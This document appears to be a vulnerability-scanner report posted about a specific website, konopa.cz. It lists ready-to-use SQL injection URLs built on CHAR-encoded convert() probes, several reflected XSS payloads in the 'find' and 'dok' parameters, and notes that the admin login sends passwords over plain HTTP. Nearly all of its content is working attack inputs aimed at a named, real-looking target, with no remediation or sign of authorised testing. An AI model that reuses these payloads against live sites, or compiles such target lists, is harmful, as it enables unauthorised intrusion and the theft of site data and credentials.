konopa.cz

[High Possibility] SQL Injection

Vulnerability Classifications:  PCI 6.5.2 OWASP A1 CAPEC-66 CWE-89 98

http://www.konopa.cz/index.php?dok=%27
http://www.konopa.cz/?find='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
http://www.konopa.cz/index.php?dok=%27&find=hledaný výraz
http://www.konopa.cz/index.php?find='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
http://www.konopa.cz/index.php?dok=0137&find='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

|||

XSS

Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79

http://www.konopa.cz/?find='"--></style></script><script>alert(0x000008)</script>
http://www.konopa.cz/index.php?find='"--></style></script><script>alert(0x00007B)</script>
http://www.konopa.cz/index.php?dok=0137&find='"--></style></script><script>alert(0x0000A3)</script>
http://www.konopa.cz/index.php?dok=0107'"--></style></script><script>alert(0x0000D4)</script>

|||

Password Transmitted Over HTTP

Vulnerability Classifications:  PCI 6.5.9 OWASP A9 CWE-311 319

http://www.konopa.cz/admin/
Form target action: index.php

*

http://www.konopa.cz/admin/index.php

*

URL: http://www.konopa.cz
Vulnerability Chart --> screen: http://img24.eu/hosting/di-Q1IK.jpg